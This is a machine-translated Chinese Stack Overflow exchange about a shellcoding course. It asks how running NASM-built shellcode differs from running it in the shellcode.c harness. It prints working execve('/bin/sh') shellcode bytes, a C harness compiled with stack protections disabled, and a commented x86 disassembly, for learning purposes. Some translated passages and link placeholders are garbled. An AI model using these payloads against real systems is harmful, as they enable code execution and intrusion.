我目前正在研究Pentester Academy的Linux上的x86_64汇编语言和Shellcoding'课程(www.pentesteracademy.com/course?id=7)。我有一个简单的问题,我无法弄清楚:运行已组装并与NASM
和ld
相关联的汇编程序与运行相同的反汇编程序之间的确切区别是什么?经典shellcode.c
计划中的程序(如下所示)。为什么使用一种方法而不是另一种?
例如,当遵循第一种方法时,我使用命令:
nasm -f elf64 -o execve_stack.o execve_stack.asm
ld -o execve_stack execve_stack.o
./execve_stack
使用第二种方法时,我在shellcode.c
程序中插入反汇编的shellcode:
#include <stdio.h>
#include <string.h>
unsigned char code[] = \
"\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(void) {
printf("Shellcode length: %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
return 0;
}
...并使用命令:
gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
./shellcode
我已经分析了GDB中的两个程序,发现存储在某些寄存器中的地址不同。我还阅读了以下问题的答案(C code explanation),这有助于我理解shellcode.c程序的工作方式。话虽如此,我仍然不完全理解这两种方法的确切方式。
答案 0 :(得分:2)
这两种方法之间没有理论上的差异。最后,你最终会在处理器上执行一堆汇编指令。
shellcode.c
程序只是为了演示如果运行在unsigned char code[]
变量中定义为字节数组的程序集会发生什么。
为什么使用一种方法而不是另一种?
我认为您不了解shell代码的目的以及shellcode.c
程序背后的原因(为什么它显示当执行控制的任意字节序列时会发生什么在处理器上。)
shellcode是一小段汇编代码,用于利用软件漏洞。攻击者通常利用常见的编程错误(如buffer overflows)将shellcode注入软件,然后尝试使软件执行注入的shellcode。
可以找到一篇很好的文章,其中展示了如何通过使用缓冲区溢出执行shellcode注入来生成shell的分步教程{。{3}}。
以下是汇编程序中经典shellcode \x83\xec\x48\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80
的外观:
sub esp, 72
xor eax, eax
xor edx, edx
push eax
push 0x68732f2f ; "hs//" (/ is doubled because you need to push 4 bytes on the stack)
push 0x6e69622f ; "nib/"
mov ebx, esp ; EBX = address of string "/bin//sh"
push eax
push ebx
mov ecx, esp
mov al, 0xb ; EAX = 11 (which is the ID of the sys_execve Linux system call)
int 0x80
在x86环境中,这会使用“/ bin / sh”字符串作为参数进行execve
系统调用。